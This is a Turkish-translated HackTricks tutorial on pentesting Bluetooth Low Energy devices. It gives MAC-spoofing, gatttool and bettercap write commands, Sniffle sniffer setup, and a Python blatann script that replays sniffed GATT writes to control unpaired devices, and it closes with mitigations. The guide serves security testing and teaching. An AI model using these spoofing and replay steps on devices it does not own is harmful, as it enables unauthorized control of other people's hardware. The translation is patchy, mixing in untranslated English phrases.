Pentesting BLE - Bluetooth Low Energy

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Giriş

Bluetooth 4.0 spesifikasyonundan beri mevcut olan BLE, 2400 ile 2483.5 MHz aralığını kapsayan yalnızca 40 kanal kullanır. Buna karşılık, geleneksel Bluetooth aynı aralıkta 79 kanal kullanır.

BLE cihazları, advertising packets (beacons) göndererek iletişim kurar; bu paketler BLE cihazının varlığını yakındaki diğer cihazlara yayınlar. Bu beacons bazen ayrıca send data de yapar.

Dinleyen cihaz, merkezi cihaz olarak da adlandırılan, advertising paketine özellikle reklam gönderen cihaza gönderilen bir SCAN request ile cevap verebilir. O taramaya verilen response, başlangıçtaki advertising isteğine sığmayan ek bilgilerle, örneğin tam cihaz adı gibi, aynı yapıyı kullanır.

Preamble byte frekansı senkronize ederken, dört baytlık access address bir connection identifierdır; bu, birden fazla cihazın aynı kanallarda bağlantı kurmaya çalıştığı senaryolarda kullanılır. Ardından, Protocol Data Unit (PDU) advertising data içerir. Birkaç PDU türü vardır; en yaygın kullanılanlar ADV_NONCONN_IND ve ADV_IND'dir. Cihazlar ADV_NONCONN_IND PDU türünü, don’t accept connections durumunda kullanır; böylece yalnızca advertising paketinde veri iletirler. Cihazlar ADV_IND kullanırsa allow connections eder ve bir connection established olduğunda stop sending advertising paketlerini gönderirler.

GATT

The Generic Attribute Profile (GATT), device should format and transfer data konusunu tanımlar. Bir BLE cihazının attack surface’ını analiz ederken genellikle dikkatiniz GATT (veya GATTs) üzerinde yoğunlaşır, çünkü cihaz fonksiyonlarının nasıl device functionality gets triggered edildiği ve verilerin nasıl saklandığı, gruplandığı ve değiştirildiği buradan anlaşılır. GATT, bir cihazın characteristics, descriptors ve services öğelerini 16 veya 32 bit değerler halinde bir tabloda listeler. Bir characteristic, central device ile peripheral arasında sent edilen bir data değeridir. Bu özelliklerin kendileri hakkında ek bilgi sağlayan descriptors olabilir. İlgili bir eylemi gerçekleştirmek için ilişkiliyseler, Characteristics genellikle grouped olarak services içinde organize edilir.

Keşif

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool başka bir cihazla bağlantı kurmaya, o cihazın özelliklerini listelemeye ve niteliklerini okumaya ve yazmaya olanak tanır.
GATTTool, -I seçeneği ile etkileşimli bir kabuk başlatabilir:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing ve eşleştirilmemiş BLE cihazlarını aktif olarak kontrol etme

Birçok düşük maliyetli BLE çevrebirimi pairing/bonding'i zorunlu kılmaz. Bonding yoksa Link Layer encryption hiçbir zaman etkinleştirilmez, bu nedenle ATT/GATT trafiği cleartext halindedir. Bir off-path sniffer bağlantıyı takip edip GATT operasyonlarını decode ederek characteristic handle'larını ve value'larını öğrenebilir; yakınlardaki herhangi bir host daha sonra bağlanıp bu yazmaları replay ederek cihazı kontrol edebilir.

Sniffle ile Sniffing (CC26x2/CC1352)

Donanım: NCC Group’un Sniffle firmware'i ile yeniden flashlenen Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352).

Linux'ta Sniffle ve Wireshark extcap'ını kurun:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Sonoff'u Sniffle firmware ile flash'layın (seri cihazınızın eşleştiğinden emin olun, örn. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Wireshark'ta Sniffle extcap ile capture alın ve filtreleyerek state-changing writes'e hızlıca pivot yapın:

text
_ws.col.info contains "Sent Write Command"

Bu, client'tan gelen ATT Write Commands'i vurgular; handle ve value genellikle doğrudan cihaz eylemlerine karşılık gelir (ör. buzzer/alert characteristic'ına 0x01 yazmak, durdurmak için 0x00).

Sniffle CLI için hızlı örnekler:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternatif sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin de çalışır. Küçük/ucuz Nordic dongle'larda genellikle sniffer firmware'ini yüklemek için USB bootloader'ı üzerine yazarsınız; bu yüzden ya özel bir sniffer dongle saklamanız ya da bootloader'ı sonradan geri yüklemek için bir J-Link/JTAG gerekir.

GATT üzerinden aktif kontrol

Sniff edilen trafikten yazılabilir bir characteristic handle ve değeri tespit ettikten sonra, herhangi bir central olarak bağlanıp aynı write'ı gönderin:

  • Nordic nRF Connect for Desktop (BLE app) ile:

  • nRF52/nRF52840 dongle'ı seçin, scan yapın ve hedefe connect olun.

  • GATT database'ini gezin, hedef characteristic'ı bulun (genellikle dostça bir isim taşır, örn. Alert Level).

  • Sniffed byte'larla bir Write gerçekleştirin (örn. tetiklemek için 01, durdurmak için 00).

  • Windows'ta bir Nordic dongle ile Python + blatann kullanarak otomatikleştirin:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Operasyonel notlar ve hafifletmeler

  • Kanal atlaması ve bağlantı takibi için sağlam performans amacıyla Linux üzerinde Sonoff+Sniffle tercih edin. Yedek olarak bir Nordic sniffer bulundurun.
  • pairing/bonding olmadan, çevredeki herhangi bir saldırgan yazma işlemlerini gözlemleyebilir ve kimlik doğrulanmamış writable characteristics'a kendi yazmalarını replay/oluşturabilir.
  • Hafifletmeler: pairing/bonding zorunlu kılın ve şifrelemeyi uygulayın; characteristic izinlerini authenticated writes gerektirecek şekilde ayarlayın; kimlik doğrulanmamış writable characteristics'ları en aza indirin; GATT ACLs'i Sniffle/nRF Connect ile doğrulayın.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin